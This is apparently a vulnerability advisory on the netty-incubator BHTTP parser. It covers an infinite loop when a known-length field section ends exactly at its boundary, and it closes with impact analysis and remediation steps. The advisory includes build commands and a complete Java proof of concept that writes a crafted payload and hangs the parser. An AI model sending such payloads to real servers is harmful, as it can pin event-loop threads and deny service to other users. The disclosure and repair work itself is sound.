netty-incubator-codec-ohttp: Binary HTTP parser infinite loop on known-length field section boundary

1. Compile the module and classpath:

./mvnw -q -pl codec-bhttp -am compile test-compile
./mvnw -q -pl codec-bhttp dependency:build-classpath -Dmdep.outputFile=/tmp/codec-bhttp-cp.txt
printf '%s' "codec-bhttp/target/classes:$(cat /tmp/codec-bhttp-cp.txt)" > /tmp/codec-bhttp-run-cp.txt

2. Compile and run this minimal verifier with production-style assertions disabled:

import io.netty.buffer.ByteBuf;
import io.netty.buffer.Unpooled;
import io.netty.incubator.codec.bhttp.BinaryHttpParser;
import io.netty.incubator.codec.bhttp.VarIntCodecUtils;
import java.nio.charset.StandardCharsets;

public final class VerifyBhttpHang {
  private static void writeAscii(ByteBuf out, String value) {
    VarIntCodecUtils.writeVariableLengthInteger(out, value.length());
    out.writeCharSequence(value, StandardCharsets.US_ASCII);
  }
  public static void main(String[] args) {
    ByteBuf buffer = Unpooled.buffer();
    VarIntCodecUtils.writeVariableLengthInteger(buffer, 0); // known-length request
    writeAscii(buffer, "GET");
    writeAscii(buffer, "https");
    writeAscii(buffer, "example.com");
    writeAscii(buffer, "/");
    VarIntCodecUtils.writeVariableLengthInteger(buffer, 4); // field section length
    writeAscii(buffer, "a");
    writeAscii(buffer, "b");
    new BinaryHttpParser(8192).parse(buffer, false);
    System.out.println("returned");
  }
}

Execution result observed locally:

timeout 3 java -cp "/tmp:$(cat /tmp/codec-bhttp-run-cp.txt)" VerifyBhttpHang
exit=124

Exit code 124 from timeout confirms the parser did not return within three seconds. When assertions are enabled by Surefire, the same payload fails at BinaryHttpParser.java:622 (assert read > 0), confirming the non-progress condition.

Impact

A peer that can deliver crafted BHTTP bytes can cause the parser to loop forever. In Netty deployments this can pin the event-loop thread or worker responsible for the channel, reducing or eliminating availability for other channels on the same event loop. Through OHTTP, the same parser is used after successful decryption of protected payloads, so authenticated/decryptable OHTTP peers can trigger the same condition in the inner BHTTP parser.

Suggested remediation

• Treat readFieldLine(...) == null as incomplete input and return null from readFieldSection(...) instead of continuing.
• Replace boundary checks in readFieldLine(...) that require an extra byte after a complete field line. A complete field line ending exactly at the known field-section boundary should be accepted.
• Add a production runtime guard that throws a controlled decoder exception if a parser loop iteration makes no progress.
• Add regression tests with JVM assertions disabled for known-length header and trailer field sections that end exactly at the field-section boundary.

References

• codec-bhttp/src/main/java/io/netty/incubator/codec/bhttp/BinaryHttpParser.java:619-625
• codec-bhttp/src/main/java/io/netty/incubator/codec/bhttp/BinaryHttpParser.java:678-681
• RFC 9292: Binary Representation of HTTP Messages